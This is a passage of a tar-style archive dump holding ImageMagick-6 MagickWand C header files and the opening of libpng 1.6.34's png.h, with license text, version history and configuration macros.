OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand convert command-line method. */ #ifndef MAGICKWAND_CONVERT_H #define MAGICKWAND_CONVERT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType ConvertImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/montage.h 0000644 00000001707 15246445047 0011621 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand montage command-line method. */ #ifndef MAGICKWAND_MONTAGE_H #define MAGICKWAND_MONTAGE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType MontageImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/deprecate.h 0000644 00000017257 15246445047 0012132 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore deprecated methods. */ #ifndef MAGICKWAND_DEPRECATE_H #define MAGICKWAND_DEPRECATE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if !defined(MAGICKCORE_EXCLUDE_DEPRECATED) #include "wand/drawing-wand.h" #include "wand/magick-wand.h" #include "wand/pixel-iterator.h" #include "wand/pixel-wand.h" typedef struct _DrawingWand *DrawContext; typedef struct _PixelView PixelView; extern WandExport DrawingWand *DrawAllocateWand(const DrawInfo *,Image *); typedef MagickBooleanType (*DuplexTransferPixelViewMethod)(const PixelView *,const PixelView *, PixelView *,void *), (*GetPixelViewMethod)(const PixelView *,void *), (*SetPixelViewMethod)(PixelView *,void *), (*TransferPixelViewMethod)(const PixelView *,PixelView *,void *), (*UpdatePixelViewMethod)(PixelView *,void *); extern WandExport char *GetPixelViewException(const PixelView *,ExceptionType *) magick_attribute((deprecated)); extern WandExport double DrawGetFillAlpha(const DrawingWand *) magick_attribute((deprecated)), DrawGetStrokeAlpha(const DrawingWand *) magick_attribute((deprecated)); extern WandExport DrawInfo *DrawPeekGraphicWand(const DrawingWand *) magick_attribute((deprecated)); extern WandExport char *MagickDescribeImage(MagickWand *) magick_attribute((deprecated)), *MagickGetImageAttribute(MagickWand *,const char *) magick_attribute((deprecated)), *PixelIteratorGetException(const PixelIterator *,ExceptionType *) magick_attribute((deprecated)); extern WandExport ssize_t MagickGetImageIndex(MagickWand *) magick_attribute((deprecated)); extern WandExport MagickBooleanType DuplexTransferPixelViewIterator(PixelView *,PixelView *,PixelView *, DuplexTransferPixelViewMethod,void *) magick_attribute((deprecated)), GetPixelViewIterator(PixelView *,GetPixelViewMethod,void *) magick_attribute((deprecated)), IsPixelView(const PixelView *) magick_attribute((deprecated)), MagickClipPathImage(MagickWand *,const char *,const MagickBooleanType) magick_attribute((deprecated)), MagickColorFloodfillImage(MagickWand *,const PixelWand *,const double, const PixelWand *,const ssize_t,const ssize_t) magick_attribute((deprecated)), MagickGetImageChannelExtrema(MagickWand *,const ChannelType,size_t *, size_t *) magick_attribute((deprecated)), MagickGetImageExtrema(MagickWand *,size_t *,size_t *) magick_attribute((deprecated)), MagickGetImageMatte(MagickWand *) magick_attribute((deprecated)), MagickGetImagePixels(MagickWand *,const ssize_t,const ssize_t,const size_t, const size_t,const char *,const StorageType,void *) magick_attribute((deprecated)), MagickMapImage(MagickWand *,const MagickWand *,const MagickBooleanType) magick_attribute((deprecated)), MagickMatteFloodfillImage(MagickWand *,const double,const double, const PixelWand *,const ssize_t,const ssize_t) magick_attribute((deprecated)), MagickMedianFilterImage(MagickWand *,const double) magick_attribute((deprecated)), MagickModeImage(MagickWand *,const double) magick_attribute((deprecated)), MagickReduceNoiseImage(MagickWand *,const double) magick_attribute((deprecated)), MagickRemapImage(MagickWand *,const MagickWand *,const DitherMethod), MagickOpaqueImage(MagickWand *,const PixelWand *,const PixelWand *, const double) magick_attribute((deprecated)), MagickPaintFloodfillImage(MagickWand *,const ChannelType,const PixelWand *, const double,const PixelWand *,const ssize_t,const ssize_t) magick_attribute((deprecated)), MagickPaintOpaqueImage(MagickWand *,const PixelWand *,const PixelWand *, const double) magick_attribute((deprecated)), MagickPaintOpaqueImageChannel(MagickWand *,const ChannelType, const PixelWand *,const PixelWand *,const double) magick_attribute((deprecated)), MagickPaintTransparentImage(MagickWand *,const PixelWand *,const double, const double) magick_attribute((deprecated)), MagickRadialBlurImage(MagickWand *,const double) magick_attribute((deprecated)), MagickRadialBlurImageChannel(MagickWand *,const ChannelType,const double) magick_attribute((deprecated)), MagickRecolorImage(MagickWand *,const size_t,const double *) magick_attribute((deprecated)), MagickSetImageAttribute(MagickWand *,const char *,const char *) magick_attribute((deprecated)), MagickSetImageIndex(MagickWand *,const ssize_t) magick_attribute((deprecated)), MagickSetImageOption(MagickWand *,const char *,const char *,const char *) magick_attribute((deprecated)), MagickSetImagePixels(MagickWand *,const ssize_t,const ssize_t,const size_t, const size_t,const char *,const StorageType,const void *) magick_attribute((deprecated)), MagickTransparentImage(MagickWand *,const PixelWand *,const double, const double) magick_attribute((deprecated)), SetPixelViewIterator(PixelView *,SetPixelViewMethod,void *) magick_attribute((deprecated)), TransferPixelViewIterator(PixelView *,PixelView *,TransferPixelViewMethod, void *) magick_attribute((deprecated)), UpdatePixelViewIterator(PixelView *,UpdatePixelViewMethod,void *) magick_attribute((deprecated)); extern WandExport MagickWand *GetPixelViewWand(const PixelView *) magick_attribute((deprecated)), *MagickAverageImages(MagickWand *) magick_attribute((deprecated)), *MagickFlattenImages(MagickWand *) magick_attribute((deprecated)), *MagickMaximumImages(MagickWand *) magick_attribute((deprecated)), *MagickMinimumImages(MagickWand *) magick_attribute((deprecated)), *MagickMosaicImages(MagickWand *) magick_attribute((deprecated)), *MagickRegionOfInterestImage(MagickWand *,const size_t,const size_t, const ssize_t,const ssize_t) magick_attribute((deprecated)); extern WandExport MagickSizeType MagickGetImageSize(MagickWand *) magick_attribute((deprecated)); extern WandExport PixelView *ClonePixelView(const PixelView *) magick_attribute((deprecated)), *DestroyPixelView(PixelView *) magick_attribute((deprecated)), *NewPixelView(MagickWand *) magick_attribute((deprecated)), *NewPixelViewRegion(MagickWand *,const ssize_t,const ssize_t,const size_t, const size_t) magick_attribute((deprecated)); extern WandExport PixelWand **GetPixelViewPixels(const PixelView *) magick_attribute((deprecated)), **PixelGetNextRow(PixelIterator *) magick_attribute((deprecated)); extern WandExport size_t GetPixelViewHeight(const PixelView *) magick_attribute((deprecated)), GetPixelViewWidth(const PixelView *) magick_attribute((deprecated)); extern WandExport ssize_t GetPixelViewX(const PixelView *) magick_attribute((deprecated)), GetPixelViewY(const PixelView *) magick_attribute((deprecated)); extern WandExport unsigned char *MagickWriteImageBlob(MagickWand *,size_t *) magick_attribute((deprecated)); extern WandExport void DrawPopGraphicContext(DrawingWand *) magick_attribute((deprecated)), DrawPushGraphicContext(DrawingWand *) magick_attribute((deprecated)), DrawSetFillAlpha(DrawingWand *,const double) magick_attribute((deprecated)), DrawSetStrokeAlpha(DrawingWand *,const double) magick_attribute((deprecated)); #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/method-attribute.h 0000644 00000007016 15246445047 0013447 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand method attribute. */ #ifndef MAGICKWAND_METHOD_ATTRIBUTE_H #define MAGICKWAND_METHOD_ATTRIBUTE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(_DLL) # define _MAGICKDLL_ # define _MAGICKLIB_ # define MAGICKCORE_MODULES_SUPPORT # undef MAGICKCORE_BUILD_MODULES #endif #if defined(MAGICKWAND_WINDOWS_SUPPORT) && !defined(__CYGWIN__) # define WandPrivate # if defined(_MT) && defined(_DLL) && !defined(_MAGICKDLL_) && !defined(_LIB) # define _MAGICKDLL_ # endif # if defined(_MAGICKDLL_) # if defined(_VISUALC_) # pragma warning( disable: 4273 ) /* Disable the dll linkage warnings */ # endif # if !defined(_MAGICKLIB_) # if defined(__clang__) || defined(__GNUC__) # define WandExport __attribute__ ((dllimport)) # else # define WandExport __declspec(dllimport) # endif # else # if defined(__clang__) || defined(__GNUC__) # define WandExport __attribute__ ((dllexport)) # else # define WandExport __declspec(dllexport) # endif # endif # else # define WandExport # endif # if defined(_VISUALC_) # pragma warning(disable : 4018) # pragma warning(disable : 4068) # pragma warning(disable : 4244) # pragma warning(disable : 4142) # pragma warning(disable : 4800) # pragma warning(disable : 4786) # pragma warning(disable : 4996) # endif #else # if defined(__clang__) || (__GNUC__ >= 4) # define WandExport __attribute__ ((visibility ("default"))) # define WandPrivate __attribute__ ((visibility ("hidden"))) # else # define WandExport # define WandPrivate # endif #endif #define WandSignature 0xabacadabUL #if !defined(MaxTextExtent) # define MaxTextExtent 4096 #endif #if defined(MAGICKCORE_HAVE___ATTRIBUTE__) # define wand_aligned(x) __attribute__((aligned(x))) # define wand_attribute __attribute__ # define wand_unused(x) wand_unused_ ## x __attribute__((unused)) # define wand_unreferenced(x) #elif defined(MAGICKWAND_WINDOWS_SUPPORT) && !defined(__CYGWIN__) # define wand_aligned(x) __declspec(align(x)) # define wand_attribute(x) /* nothing */ # define wand_unused(x) x # define wand_unreferenced(x) (x) #else # define wand_aligned(x) /* nothing */ # define wand_attribute(x) /* nothing */ # define wand_unused(x) x # define wand_unreferenced(x) /* nothing */ #endif #if !defined(__clang__) && (defined(__GNUC__) && (__GNUC__) > 4) # define wand_alloc_size(x) __attribute__((__alloc_size__(x))) # define wand_alloc_sizes(x,y) __attribute__((__alloc_size__(x,y))) #else # define wand_alloc_size(x) /* nothing */ # define wand_alloc_sizes(x,y) /* nothing */ #endif #if !defined(__clang__) && (defined(__GNUC__) && (__GNUC__) > 4) # define wand_cold_spot __attribute__((__cold__)) # define wand_hot_spot __attribute__((__hot__)) #else # define wand_cold_spot # define wand_hot_spot #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/MagickWand.h 0000644 00000006747 15246445047 0012205 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand Application Programming Interface declarations. */ #ifndef _MAGICK_WAND_H #define _MAGICK_WAND_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if !defined(MAGICKWAND_CONFIG_H) # define MAGICKWAND_CONFIG_H # if !defined(vms) && !defined(macintosh) # include "magick/magick-config.h" # else # include "magick-config.h" # endif #if defined(_magickcore_const) && !defined(const) # define const _magickcore_const #endif #if defined(_magickcore_inline) && !defined(inline) # define inline _magickcore_inline #endif #if !defined(magick_restrict) # if !defined(_magickcore_restrict) # define magick_restrict restrict # else # define magick_restrict _magickcore_restrict # endif #endif # if defined(__cplusplus) || defined(c_plusplus) # undef inline # endif #endif #define MAGICKWAND_CHECK_VERSION(major,minor,micro) \ ((MAGICKWAND_MAJOR_VERSION > (major)) || \ ((MAGICKWAND_MAJOR_VERSION == (major)) && \ (MAGICKWAND_MINOR_VERSION > (minor))) || \ ((MAGICKWAND_MAJOR_VERSION == (major)) && \ (MAGICKWAND_MINOR_VERSION == (minor)) && \ (MAGICKWAND_MICRO_VERSION >= (micro)))) #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <stdint.h> #include <math.h> #include <sys/types.h> #include <time.h> #if defined(WIN32) || defined(WIN64) # define MAGICKWAND_WINDOWS_SUPPORT #else # define MAGICKWAND_POSIX_SUPPORT #endif typedef struct _MagickWand MagickWand; #include "wand/method-attribute.h" #include "magick/MagickCore.h" #include "wand/animate.h" #include "wand/compare.h" #include "wand/composite.h" #include "wand/conjure.h" #include "wand/convert.h" #include "wand/deprecate.h" #include "wand/display.h" #include "wand/drawing-wand.h" #include "wand/identify.h" #include "wand/import.h" #include "wand/magick-property.h" #include "wand/magick-image.h" #include "wand/mogrify.h" #include "wand/montage.h" #include "wand/pixel-iterator.h" #include "wand/pixel-wand.h" #include "wand/stream.h" #include "wand/wand-view.h" extern WandExport char *MagickGetException(const MagickWand *,ExceptionType *); extern WandExport ExceptionType MagickGetExceptionType(const MagickWand *); extern WandExport MagickBooleanType IsMagickWand(const MagickWand *), IsMagickWandInstantiated(void), MagickClearException(MagickWand *), MagickSetIteratorIndex(MagickWand *,const ssize_t); extern WandExport MagickWand *CloneMagickWand(const MagickWand *), *DestroyMagickWand(MagickWand *), *NewMagickWand(void), *NewMagickWandFromImage(const Image *); extern WandExport ssize_t MagickGetIteratorIndex(MagickWand *); extern WandExport void ClearMagickWand(MagickWand *), MagickWandGenesis(void), MagickWandTerminus(void), *MagickRelinquishMemory(void *), MagickResetIterator(MagickWand *), MagickSetFirstIterator(MagickWand *), MagickSetLastIterator(MagickWand *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/compare.h 0000644 00000001707 15246445047 0011615 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand compare command-line method. */ #ifndef MAGICKWAND_COMPARE_H #define MAGICKWAND_COMPARE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType CompareImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/animate.h 0000644 00000001710 15246445047 0011577 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand animate command-line methods. */ #ifndef MAGICKWAND_ANIMATE_H #define MAGICKWAND_ANIMATE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern WandExport MagickBooleanType AnimateImageCommand(ImageInfo *,int,char **,char **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/wand/magick_wand.h 0000644 00000001450 15246445047 0012426 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickWand API (deprecated, use magick-wand.h instead). */ #ifndef MAGICKWAND_MAGICK_WAND_DEPRECATED_H #define MAGICKWAND_MAGICK_WAND_DEPRECATED_H #include "wand/MagickWand.h" #endif libpng16/png.h 0000644 00000431425 15246445047 0007147 0 ustar 00 /* png.h - header file for PNG reference library * * libpng version 1.6.34, September 29, 2017 * * Copyright (c) 1998-2002,2004,2006-2017 Glenn Randers-Pehrson * (Version 0.96 Copyright (c) 1996, 1997 Andreas Dilger) * (Version 0.88 Copyright (c) 1995, 1996 Guy Eric Schalnat, Group 42, Inc.) * * This code is released under the libpng license (See LICENSE, below) * * Authors and maintainers: * libpng versions 0.71, May 1995, through 0.88, January 1996: Guy Schalnat * libpng versions 0.89, June 1996, through 0.96, May 1997: Andreas Dilger * libpng versions 0.97, January 1998, through 1.6.34, September 29, 2017: * Glenn Randers-Pehrson. * See also "Contributing Authors", below. */ /* * COPYRIGHT NOTICE, DISCLAIMER, and LICENSE: * * If you modify libpng you may insert additional notices immediately following * this sentence. * * This code is released under the libpng license. * * libpng versions 1.0.7, July 1, 2000 through 1.6.34, September 29, 2017 are * Copyright (c) 2000-2002, 2004, 2006-2017 Glenn Randers-Pehrson, are * derived from libpng-1.0.6, and are distributed according to the same * disclaimer and license as libpng-1.0.6 with the following individuals * added to the list of Contributing Authors: * * Simon-Pierre Cadieux * Eric S. Raymond * Mans Rullgard * Cosmin Truta * Gilles Vollant * James Yu * Mandar Sahastrabuddhe * Google Inc. * Vadim Barkov * * and with the following additions to the disclaimer: * * There is no warranty against interference with your enjoyment of the * library or against infringement. There is no warranty that our * efforts or the library will fulfill any of your particular purposes * or needs. This library is provided with all faults, and the entire * risk of satisfactory quality, performance, accuracy, and effort is with * the user. * * Some files in the "contrib" directory and some configure-generated * files that are distributed with libpng have other copyright owners and * are released under other open source licenses. * * libpng versions 0.97, January 1998, through 1.0.6, March 20, 2000, are * Copyright (c) 1998-2000 Glenn Randers-Pehrson, are derived from * libpng-0.96, and are distributed according to the same disclaimer and * license as libpng-0.96, with the following individuals added to the list * of Contributing Authors: * * Tom Lane * Glenn Randers-Pehrson * Willem van Schaik * * libpng versions 0.89, June 1996, through 0.96, May 1997, are * Copyright (c) 1996-1997 Andreas Dilger, are derived from libpng-0.88, * and are distributed according to the same disclaimer and license as * libpng-0.88, with the following individuals added to the list of * Contributing Authors: * * John Bowler * Kevin Bracey * Sam Bushell * Magnus Holmgren * Greg Roelofs * Tom Tanner * * Some files in the "scripts" directory have other copyright owners * but are released under this license. * * libpng versions 0.5, May 1995, through 0.88, January 1996, are * Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc. * * For the purposes of this copyright and license, "Contributing Authors" * is defined as the following set of individuals: * * Andreas Dilger * Dave Martindale * Guy Eric Schalnat * Paul Schmidt * Tim Wegner * * The PNG Reference Library is supplied "AS IS". The Contributing Authors * and Group 42, Inc. disclaim all warranties, expressed or implied, * including, without limitation, the warranties of merchantability and of * fitness for any purpose. The Contributing Authors and Group 42, Inc. * assume no liability for direct, indirect, incidental, special, exemplary, * or consequential damages, which may result from the use of the PNG * Reference Library, even if advised of the possibility of such damage. * * Permission is hereby granted to use, copy, modify, and distribute this * source code, or portions hereof, for any purpose, without fee, subject * to the following restrictions: * * 1. The origin of this source code must not be misrepresented. * * 2. Altered versions must be plainly marked as such and must not * be misrepresented as being the original source. * * 3. This Copyright notice may not be removed or altered from any * source or altered source distribution. * * The Contributing Authors and Group 42, Inc. specifically permit, without * fee, and encourage the use of this source code as a component to * supporting the PNG file format in commercial products. If you use this * source code in a product, acknowledgment is not required but would be * appreciated. * * END OF COPYRIGHT NOTICE, DISCLAIMER, and LICENSE. * * TRADEMARK: * * The name "libpng" has not been registered by the Copyright owner * as a trademark in any jurisdiction. However, because libpng has * been distributed and maintained world-wide, continually since 1995, * the Copyright owner claims "common-law trademark protection" in any * jurisdiction where common-law trademark is recognized. * * OSI CERTIFICATION: * * Libpng is OSI Certified Open Source Software. OSI Certified Open Source is * a certification mark of the Open Source Initiative. OSI has not addressed * the additional disclaimers inserted at version 1.0.7. * * EXPORT CONTROL: * * The Copyright owner believes that the Export Control Classification * Number (ECCN) for libpng is EAR99, which means not subject to export * controls or International Traffic in Arms Regulations (ITAR) because * it is open source, publicly available software, that does not contain * any encryption software. See the EAR, paragraphs 734.3(b)(3) and * 734.7(b). */ /* * A "png_get_copyright" function is available, for convenient use in "about" * boxes and the like: * * printf("%s", png_get_copyright(NULL)); * * Also, the PNG logo (in PNG format, of course) is supplied in the * files "pngbar.png" and "pngbar.jpg (88x31) and "pngnow.png" (98x31). */ /* * The contributing authors would like to thank all those who helped * with testing, bug fixes, and patience. This wouldn't have been * possible without all of you. * * Thanks to Frank J. T. Wojcik for helping with the documentation. */ /* Note about libpng version numbers: * * Due to various miscommunications, unforeseen code incompatibilities * and occasional factors outside the authors' control, version numbering * on the library has not always been consistent and straightforward. * The following table summarizes matters since version 0.89c, which was * the first widely used release: * * source png.h png.h shared-lib * version string int version * ------- ------ ----- ---------- * 0.89c "1.0 beta 3" 0.89 89 1.0.89 * 0.90 "1.0 beta 4" 0.90 90 0.90 [should have been 2.0.90] * 0.95 "1.0 beta 5" 0.95 95 0.95 [should have been 2.0.95] * 0.96 "1.0 beta 6" 0.96 96 0.96 [should have been 2.0.96] * 0.97b "1.00.97 beta 7" 1.00.97 97 1.0.1 [should have been 2.0.97] * 0.97c 0.97 97 2.0.97 * 0.98 0.98 98 2.0.98 * 0.99 0.99 98 2.0.99 * 0.99a-m 0.99 99 2.0.99 * 1.00 1.00 100 2.1.0 [100 should be 10000] * 1.0.0 (from here on, the 100 2.1.0 [100 should be 10000] * 1.0.1 png.h string is 10001 2.1.0 * 1.0.1a-e identical to the 10002 from here on, the shared library * 1.0.2 source version) 10002 is 2.V where V is the source code * 1.0.2a-b 10003 version, except as noted. * 1.0.3 10003 * 1.0.3a-d 10004 * 1.0.4 10004 * 1.0.4a-f 10005 * 1.0.5 (+ 2 patches) 10005 * 1.0.5a-d 10006 * 1.0.5e-r 10100 (not source compatible) * 1.0.5s-v 10006 (not binary compatible) * 1.0.6 (+ 3 patches) 10006 (still binary incompatible) * 1.0.6d-f 10007 (still binary incompatible) * 1.0.6g 10007 * 1.0.6h 10007 10.6h (testing xy.z so-numbering) * 1.0.6i 10007 10.6i * 1.0.6j 10007 2.1.0.6j (incompatible with 1.0.0) * 1.0.7beta11-14 DLLNUM 10007 2.1.0.7beta11-14 (binary compatible) * 1.0.7beta15-18 1 10007 2.1.0.7beta15-18 (binary compatible) * 1.0.7rc1-2 1 10007 2.1.0.7rc1-2 (binary compatible) * 1.0.7 1 10007 (still compatible) * ... * 1.0.19 10 10019 10.so.0.19[.0] * ... * 1.2.59 13 10257 12.so.0.59[.0] * ... * 1.5.30 15 10527 15.so.15.30[.0] * ... * 1.6.34 16 10633 16.so.16.34[.0] * * Henceforth the source version will match the shared-library major * and minor numbers; the shared-library major version number will be * used for changes in backward compatibility, as it is intended. The * PNG_LIBPNG_VER macro, which is not used within libpng but is available * for applications, is an unsigned integer of the form xyyzz corresponding * to the source version x.y.z (leading zeros in y and z). Beta versions * were given the previous public release number plus a letter, until * version 1.0.6j; from then on they were given the upcoming public * release number plus "betaNN" or "rcNN". * * Binary incompatibility exists only when applications make direct access * to the info_ptr or png_ptr members through png.h, and the compiled * application is loaded with a different version of the library. * * DLLNUM will change each time there are forward or backward changes * in binary compatibility (e.g., when a new feature is added). * * See libpng.txt or libpng.3 for more information. The PNG specification * is available as a W3C Recommendation and as an ISO Specification, * <https://www.w3.org/TR/2003/REC-PNG-20031110/ */ /* * Y2K compliance in libpng: * ========================= * * September 29, 2017 * * Since the PNG Development group is an ad-hoc body, we can't make * an official declaration. * * This is your unofficial assurance that libpng from version 0.71 and * upward through 1.6.34 are Y2K compliant. It is my belief that * earlier versions were also Y2K compliant. * * Libpng only has two year fields. One is a 2-byte unsigned integer * that will hold years up to 65535. The other, which is deprecated, * holds the date in text format, and will hold years up to 9999. * * The integer is * "png_uint_16 year" in png_time_struct. * * The string is * "char time_buffer[29]" in png_struct. This is no longer used * in libpng-1.6.x and will be removed from libpng-1.7.0. * * There are seven time-related functions: * png.c: png_convert_to_rfc_1123_buffer() in png.c * (formerly png_convert_to_rfc_1123() prior to libpng-1.5.x and * png_convert_to_rfc_1152() in error prior to libpng-0.98) * png_convert_from_struct_tm() in pngwrite.c, called in pngwrite.c * png_convert_from_time_t() in pngwrite.c * png_get_tIME() in pngget.c * png_handle_tIME() in pngrutil.c, called in pngread.c * png_set_tIME() in pngset.c * png_write_tIME() in pngwutil.c, called in pngwrite.c * * All handle dates properly in a Y2K environment. The * png_convert_from_time_t() function calls gmtime() to convert from system * clock time, which returns (year - 1900), which we properly convert to * the full 4-digit year. There is a possibility that libpng applications * are not passing 4-digit years into the png_convert_to_rfc_1123_buffer() * function, or that they are incorrectly passing only a 2-digit year * instead of "year - 1900" into the png_convert_from_struct_tm() function, * but this is not under our control. The libpng documentation has always * stated that it works with 4-digit years, and the APIs have been * documented as such. * * The tIME chunk itself is also Y2K compliant. It uses a 2-byte unsigned * integer to hold the year, and can hold years as large as 65535. * * zlib, upon which libpng depends, is also Y2K compliant. It contains * no date-related code. * * Glenn Randers-Pehrson * libpng maintainer * PNG Development Group */ #ifndef PNG_H #define PNG_H /* This is not the place to learn how to use libpng. The file libpng-manual.txt * describes how to use libpng, and the file example.c summarizes it * with some code on which to build. This file is useful for looking * at the actual function definitions and structure components. If that * file has been stripped from your copy of libpng, you can find it at * <http://www.libpng.org/pub/png/libpng-manual.txt> * * If you just need to read a PNG file and don't want to read the documentation * skip to the end of this file and read the section entitled 'simplified API'. */ /* Version information for png.h - this should match the version in png.c */ #define PNG_LIBPNG_VER_STRING "1.6.34" #define PNG_HEADER_VERSION_STRING " libpng version 1.6.34 - September 29, 2017\n" #define PNG_LIBPNG_VER_SONUM 16 #define PNG_LIBPNG_VER_DLLNUM 16 /* These should match the first 3 components of PNG_LIBPNG_VER_STRING: */ #define PNG_LIBPNG_VER_MAJOR 1 #define PNG_LIBPNG_VER_MINOR 6 #define PNG_LIBPNG_VER_RELEASE 34 /* This should match the numeric part of the final component of * PNG_LIBPNG_VER_STRING, omitting any leading zero: */ #define PNG_LIBPNG_VER_BUILD 0 /* Release Status */ #define PNG_LIBPNG_BUILD_ALPHA 1 #define PNG_LIBPNG_BUILD_BETA 2 #define PNG_LIBPNG_BUILD_RC 3 #define PNG_LIBPNG_BUILD_STABLE 4 #define PNG_LIBPNG_BUILD_RELEASE_STATUS_MASK 7 /* Release-Specific Flags */ #define PNG_LIBPNG_BUILD_PATCH 8 /* Can be OR'ed with PNG_LIBPNG_BUILD_STABLE only */ #define PNG_LIBPNG_BUILD_PRIVATE 16 /* Cannot be OR'ed with PNG_LIBPNG_BUILD_SPECIAL */ #define PNG_LIBPNG_BUILD_SPECIAL 32 /* Cannot be OR'ed with PNG_LIBPNG_BUILD_PRIVATE */ #define PNG_LIBPNG_BUILD_BASE_TYPE PNG_LIBPNG_BUILD_STABLE /* Careful here. At one time, Guy wanted to use 082, but that would be octal. * We must not include leading zeros. * Versions 0.7 through 1.0.0 were in the range 0 to 100 here (only * version 1.0.0 was mis-numbered 100 instead of 10000). From * version 1.0.1 it's xxyyzz, where x=major, y=minor, z=release */ #define PNG_LIBPNG_VER 10634 /* 1.6.34 */ /* Library configuration: these options cannot be changed after * the library has been built. */ #ifndef PNGLCONF_H /* If pnglibconf.h is missing, you can * copy scripts/pnglibconf.h.prebuilt to pnglibconf.h */ # include "pnglibconf.h" #endif #ifndef PNG_VERSION_INFO_ONLY /* Machine specific configuration. */ # include "pngconf.h" #endif /* * Added at libpng-1.2.8 * * Ref MSDN: Private as priority over Special * VS_FF_PRIVATEBUILD File *was not* built using standard release * procedures. If this value is given, the StringFileInfo block must * contain a PrivateBuild string. * * VS_FF_SPECIALBUILD File *was* built by the original company using * standard release procedures but is a variation of the standard * file of the same version number. If this value is given, the * StringFileInfo block must contain a SpecialBuild string. */ #ifdef PNG_USER_PRIVATEBUILD /* From pnglibconf.h */ # define PNG_LIBPNG_BUILD_TYPE \ (PNG_LIBPNG_BUILD_BASE_TYPE | PNG_LIBPNG_BUILD_PRIVATE) #else # ifdef PNG_LIBPNG_SPECIALBUILD # define PNG_LIBPNG_BUILD_TYPE \ (PNG_LIBPNG_BUILD_BASE_TYPE | PNG_LIBPNG_BUILD_SPECIAL) # else # define PNG_LIBPNG_BUILD_TYPE (PNG_LIBPNG_BUILD_BASE_TYPE) # endif #endif #ifndef PNG_VERSION_INFO_ONLY /* Inhibit C++ name-mangling for libpng functions but not for system calls. */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ /* Version information for C files, stored in png.c. This had better match * the version above. */ #define png_libpng_ver png_get_header_ver(NULL) /* This file is arranged in several sections: * * 1. [omitted] * 2. Any configuration options that can be specified by for the application * code when it is built. (Build time configuration is in pnglibconf.h) * 3. Type definitions (base types are defined in pngconf.h), structure * definitions. * 4. Exported library functions. * 5. Simplified API. * 6. Implementation options. * * The library source code has additional files (principally pngpriv.h) that * allow configuration of the library. */ /* Section 1: [omitted] */ /* Section 2: run time configuration * See pnglibconf.h for build time configuration * * Run time configuration allows the application to choose between * implementations of certain arithmetic APIs. The default is set * at build time and recorded in pnglibconf.h, but it is safe to * override these (and only these) settings. Note that this won't * change what the library does, only application code, and the * settings can (and probably should) be made on a per-file basis * by setting the #defines before including png.h * * Use macros to read integers from PNG data or use the exported * functions? * PNG_USE_READ_MACROS: use the macros (see below) Note that 